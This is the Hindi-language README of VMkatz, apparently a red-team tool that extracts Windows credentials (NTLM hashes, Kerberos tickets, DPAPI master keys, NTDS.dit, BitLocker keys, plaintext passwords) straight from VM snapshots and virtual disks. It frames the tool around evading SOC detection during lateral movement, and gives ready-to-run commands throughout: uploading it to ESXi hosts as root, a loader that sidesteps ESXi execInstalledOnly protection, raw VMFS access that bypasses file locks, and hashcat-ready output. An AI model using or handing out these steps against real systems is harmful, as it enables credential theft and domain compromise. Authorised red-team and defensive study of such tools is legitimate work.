
VM मेमोरी स्नैपशॉट और वर्चुअल डिस्क से सीधे Windows क्रेडेंशियल निकालें
आप एक रेड टीम अभियान में तीन सप्ताह से हैं। आपका ट्रैफिक एक VPN के माध्यम से रेंगता है, फिर चार SOCKS प्रॉक्सी के माध्यम से उछलता है जो जंप बॉक्सेज के माध्यम से चेन किए गए हैं, इससे पहले कि वह लक्ष्य नेटवर्क को छूए। हर पैकेट एक लंबा रास्ता तय करता है।
दिनों के लेटरल मूवमेंट के बाद, आप वर्चुअलाइजेशन क्लस्टर से जुड़े एक NAS पर पहुँचते हैं और डायरेक्टरी लिस्टिंग अलग ही होती है: .vmdk, .vmsn, .sav की पंक्तियाँ। सैकड़ों गीगाबाइट वर्चुअल मशीनें - डोमेन कंट्रोलर, एडमिन वर्कस्टेशन, सबसे कीमती डेटा - वहीं पड़े हैं।
लेकिन आपका लिंक 200 KB/s पर हाँफता है। एक 100 GB डिस्क इमेज खींचने में छह दिन लगेंगे, और हर घंटे का निरंतर एक्सफिल्ट्रेशन SOC को असामान्यता दिखाने, आपकी टनल को जलाने और पूरी चेन को ढहाने का एक और मौका है।
VMkatz इसलिए मौजूद है क्योंकि आपको वह एक्सफिल्ट्रेट नहीं करना चाहिए जिसे आप जगह पर पढ़ सकते हैं। यह VM मेमोरी स्नैपशॉट और वर्चुअल डिस्क से सीधे Windows सीक्रेट - NTLM हैश, DPAPI मास्टर की, Kerberos टिकट, कैश्ड डोमेन क्रेडेंशियल, LSA सीक्रेट, NTDS.dit, BitLocker की - निकालता है, NAS पर, हाइपरवाइजर पर, जहाँ भी VM फाइलें हैं।
एक एकल स्टैटिक बाइनरी, ~3 MB। इसे ESXi होस्ट, Proxmox नोड या NAS पर ड्रॉप करें। इसे .vmsn, .vmdk या पूरे VM फोल्डर पर इंगित करें। डिस्क इमेज नहीं, क्रेडेंशियल लेकर चले जाएँ।
मिमिकेट्ज़ (mimikatz) द्वारा लागू किए गए सभी 9 SSP क्रेडेंशियल प्रदाता:
साथ ही: मेमोरी से BitLocker FVEK निकासी (पूल टैग स्कैन FVEc/Cngb के लिए)।
$DPAPImk$ — मोड 15300/15310/15900/15910)लक्ष्य OS: Windows Server 2003 से Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64)।
# VMware स्नैपशॉट से LSASS क्रेडेंशियल निकालें
./vmkatz snapshot.vmsn
# पेज-आउट क्रेडेंशियल के लिए पेजफाइल रिज़ॉल्यूशन के साथ
./vmkatz --disk disk.vmdk snapshot.vmsn
# वर्चुअल डिस्क से SAM/LSA/DCC2 निकालें
./vmkatz disk.vmdk
# डोमेन कंट्रोलर डिस्क से AD हैश निकालें
./vmkatz --ntds dc-disk.qcow2
# VM फोल्डर पर इंगित करें और इसे सब कुछ खोजने दें
./vmkatz /path/to/vm-directory/
# रॉ रजिस्ट्री हाइव्स से निकालें
./vmkatz SAM SYSTEM SECURITY
# hashcat-तैयार हैश के रूप में आउटपुट
./vmkatz --format hashcat snapshot.vmsn
# Kerberos टिकट निर्यात करें
./vmkatz --kirbi snapshot.vmsn # .kirbi फाइलें
./vmkatz --ccache snapshot.vmsn # .ccache फाइल
# dislocker के लिए BitLocker FVEK निर्यात करें
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# एक पथ के तहत सभी VM को पुनरावर्ती रूप से स्कैन करें
./vmkatz -r /vmfs/volumes/datastore1/
# LSASS मिनीडंप पार्स करें
./vmkatz lsass.dmp
# ESXi के लिए क्रॉस-कंपाइल (musl स्टैटिक)
cargo build --release --target x86_64-unknown-linux-musl
# अपलोड करें और चलाएँ
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
जब VIB सुरक्षा (execInstalledOnly) सक्षम हो, तो Python लोडर का उपयोग करें — सेटिंग को अक्षम करने की आवश्यकता नहीं:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
VIB बायपास विवरण, VMFS रॉ डिवाइस एक्सेस और ऑटो-डिस्कवरी के लिए docs/esxi.md देखें।
VMkatz मॉड्यूलर है। सुविधाओं को कंपाइल समय पर सक्षम/अक्षम किया जा सकता है:
cargo build --release # पूर्ण बिल्ड
cargo build --release --no-default-features --features vmware # केवल VMware
cargo build --release --no-default-features --features "sam ntds.dit" # केवल डिस्क
| प्रदाता | डेटा | नोट्स |
|---|
| MSV1_0 | NT/LM हैश, SHA1 | पेज किए गए एंट्री के लिए फिजिकल-स्कैन फॉलबैक |
| WDigest | प्लेनटेक्स्ट पासवर्ड | लिंक्ड-लिस्ट वॉक + .data फॉलबैक |
| Kerberos | AES/RC4/DES की, टिकट (.kirbi/.ccache) | AVL ट्री वॉक + फ्री हुए सेशन के लिए टिकट कार्विंग |
| TsPkg | प्लेनटेक्स्ट पासवर्ड | केवल RDP सेशन |
| DPAPI | मास्टर की कैश (GUID + डिक्रिप्टेड की) | ऑफलाइन DPAPI डिक्रिप्ट के लिए SHA1 मास्टरकी |
| SSP | प्लेनटेक्स्ट क्रेडेंशियल | msv1_0.dll में SspCredentialList |
| LiveSSP | प्लेनटेक्स्ट क्रेडेंशियल | livessp.dll की आवश्यकता (Win8 के बाद दुर्लभ) |
| Credman | संचित क्रेडेंशियल | हैश-टेबल + एकल-सूची गणना |
| CloudAP | Azure AD टोकन | आमतौर पर केवल स्थानीय लॉगऑन के लिए खाली |
| प्रारूप | एक्सटेंशन | स्रोत | स्थिति |
|---|
| VMware स्नैपशॉट | .vmsn + .vmem | Workstation, ESXi | परीक्षित |
| VMware एम्बेडेड स्नैपशॉट | .vmsn (कोई .vmem नहीं) | ESXi सस्पेंड | परीक्षित |
| VirtualBox सेव्ड स्टेट | .sav | VirtualBox | परीक्षित |
| QEMU/KVM savevm स्टेट | ऑटो-डिटेक्ट | Proxmox, QEMU | परीक्षित |
| QEMU/KVM ELF कोर डंप | .elf | virsh dump | परीक्षित |
| Hyper-V सेव्ड स्टेट | .vmrs | Hyper-V 2016+ | अपरीक्षित |
| VMware वर्चुअल डिस्क | .vmdk (स्पार्स + फ्लैट) | Workstation, ESXi | परीक्षित |
| VirtualBox वर्चुअल डिस्क | .vdi | VirtualBox | परीक्षित |
| QEMU/KVM वर्चुअल डिस्क | .qcow2 | QEMU, Proxmox | परीक्षित |
| Hyper-V वर्चुअल डिस्क | .vhdx, .vhd | Hyper-V | परीक्षित |
| VMFS-5/6 रॉ SCSI डिवाइस | /dev/disks/... | ESXi (फाइल लॉक को बायपास करता है) | परीक्षित |
| LVM ब्लॉक डिवाइस | /dev/... | Proxmox LVM-thin | परीक्षित |
| रॉ रजिस्ट्री हाइव्स | SAM, SYSTEM, SECURITY | reg save | परीक्षित |
| रॉ NTDS.dit | ntds.dit + SYSTEM | डोमेन कंट्रोलर | परीक्षित |
| LSASS मिनीडंप | .dmp | procdump, Task Manager | परीक्षित |
| VM निर्देशिका | कोई भी फोल्डर | सभी फाइलें स्वतः खोजता है | परीक्षित |
| प्रारूप | फ़्लैग | विवरण |
|---|
text | --format text (डिफ़ॉल्ट) | सेशन मेटाडेटा के साथ पूर्ण क्रेडेंशियल डंप |
brief | --format brief | प्रति-क्रेडेंशियल एक-लाइन सारांश |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump प्रारूप |
hashcat | --format hashcat | रॉ हैश: मोड 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | मशीन-पठनीय, सभी फ़ील्ड |
| सुविधा | विवरण | डिफ़ॉल्ट |
|---|
vmware | VMware .vmsn/.vmem स्नैपशॉट समर्थन | हाँ |
vbox | VirtualBox .sav संग्रहित-अवस्था समर्थन | हाँ |
qemu | QEMU/KVM ELF कोर डंप + Proxmox savevm | हाँ |
hyperv | Hyper-V .vmrs/.bin/.raw डंप समर्थन | हाँ |
sam | डिस्क निकासी (SAM/LSA/DCC2) + डिस्क प्रारूप हैंडलर | हाँ |
ntds.dit | NTDS.dit AD निकासी। sam की आवश्यकता है | हाँ |
carve | आंशिक/छंटनी मेमोरी से निम्नस्तरीय निकासी | हाँ |
dump | प्रक्रिया मेमोरी डंप को मिनीडंप के रूप में | हाँ |
vmfs | ESXi SCSI डिवाइस के लिए VMFS-5/6 रॉ पार्सर। sam की आवश्यकता है | हाँ |